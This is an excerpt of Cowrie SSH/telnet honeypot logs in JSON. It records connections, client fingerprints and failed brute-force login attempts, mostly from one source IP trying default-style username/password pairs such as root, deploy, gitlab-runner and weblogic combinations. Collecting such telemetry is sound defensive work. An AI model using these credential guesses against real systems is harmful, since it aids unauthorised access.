{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:47.047630Z","src_ip":"45.156.87.254","session":"77d389e3d3af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:47.126387Z","src_ip":"45.156.87.254","session":"77d389e3d3af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:47.570704Z","src_ip":"45.156.87.254","session":"77d389e3d3af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:48.735570Z","src_ip":"45.156.87.254","session":"77d389e3d3af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47920,"dst_ip":"159.203.135.109","dst_port":22,"session":"e958944535b1","protocol":"ssh","message":"New connection: 45.156.87.254:47920 (159.203.135.109:22) [session: e958944535b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:51.544819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:51.550073Z","src_ip":"45.156.87.254","session":"e958944535b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:51.635205Z","src_ip":"45.156.87.254","session":"e958944535b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:51.894975Z","src_ip":"45.156.87.254","session":"e958944535b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.12440204620361,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:52.530700Z","src_ip":"20.123.41.163","session":"73f53583bbe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":33124,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcd25a0a7798","protocol":"ssh","message":"New connection: 186.30.115.187:33124 (10.17.0.5:22) [session: fcd25a0a7798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:52.877468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:52.883408Z","src_ip":"186.30.115.187","session":"fcd25a0a7798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:52.976995Z","src_ip":"186.30.115.187","session":"fcd25a0a7798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:52.984189Z","src_ip":"45.156.87.254","session":"e958944535b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"DEPLOY","message":"login attempt [deploy/DEPLOY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:53.379621Z","src_ip":"186.30.115.187","session":"fcd25a0a7798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:54.477907Z","src_ip":"186.30.115.187","session":"fcd25a0a7798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47934,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b1f22903c8f","protocol":"ssh","message":"New connection: 45.156.87.254:47934 (159.203.135.109:22) [session: 3b1f22903c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:56.051460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:56.056853Z","src_ip":"45.156.87.254","session":"3b1f22903c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:56.143640Z","src_ip":"45.156.87.254","session":"3b1f22903c8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:56.514932Z","src_ip":"45.156.87.254","session":"3b1f22903c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:57.606181Z","src_ip":"45.156.87.254","session":"3b1f22903c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38406,"dst_ip":"159.203.135.109","dst_port":22,"session":"b697ffa35c41","protocol":"ssh","message":"New connection: 45.156.87.254:38406 (159.203.135.109:22) [session: b697ffa35c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:00.470738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:00.561106Z","src_ip":"45.156.87.254","session":"b697ffa35c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:00.565861Z","src_ip":"45.156.87.254","session":"b697ffa35c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:01.034605Z","src_ip":"45.156.87.254","session":"b697ffa35c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.005213499069214,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:01.118835Z","src_ip":"20.123.41.163","session":"8bedf81b821e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:02.119322Z","src_ip":"45.156.87.254","session":"b697ffa35c41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38414,"dst_ip":"159.203.135.109","dst_port":22,"session":"99de76e7cb24","protocol":"ssh","message":"New connection: 45.156.87.254:38414 (159.203.135.109:22) [session: 99de76e7cb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:05.615072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:05.624594Z","src_ip":"45.156.87.254","session":"99de76e7cb24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:05.707387Z","src_ip":"45.156.87.254","session":"99de76e7cb24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:05.968736Z","src_ip":"45.156.87.254","session":"99de76e7cb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:07.058640Z","src_ip":"45.156.87.254","session":"99de76e7cb24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.212.12.133","src_port":4358,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0afd0c58da","protocol":"telnet","message":"New connection: 175.212.12.133:4358 (10.17.0.5:23) [session: ac0afd0c58da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:07.662127Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44478,"dst_ip":"159.203.135.109","dst_port":22,"session":"12435ef67c13","protocol":"ssh","message":"New connection: 45.156.87.254:44478 (159.203.135.109:22) [session: 12435ef67c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:10.188106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:10.193620Z","src_ip":"45.156.87.254","session":"12435ef67c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:10.447978Z","src_ip":"45.156.87.254","session":"12435ef67c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:10.747209Z","src_ip":"45.156.87.254","session":"12435ef67c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:11.836411Z","src_ip":"45.156.87.254","session":"12435ef67c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44496,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a3517c71899","protocol":"ssh","message":"New connection: 45.156.87.254:44496 (159.203.135.109:22) [session: 1a3517c71899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:14.785381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:14.901470Z","src_ip":"45.156.87.254","session":"1a3517c71899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:14.905862Z","src_ip":"45.156.87.254","session":"1a3517c71899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:15.297517Z","src_ip":"45.156.87.254","session":"1a3517c71899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:16.383279Z","src_ip":"45.156.87.254","session":"1a3517c71899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46092,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cc915bf8849","protocol":"ssh","message":"New connection: 45.156.87.254:46092 (159.203.135.109:22) [session: 0cc915bf8849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:19.412196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:19.417242Z","src_ip":"45.156.87.254","session":"0cc915bf8849","protocol":"ssh"}
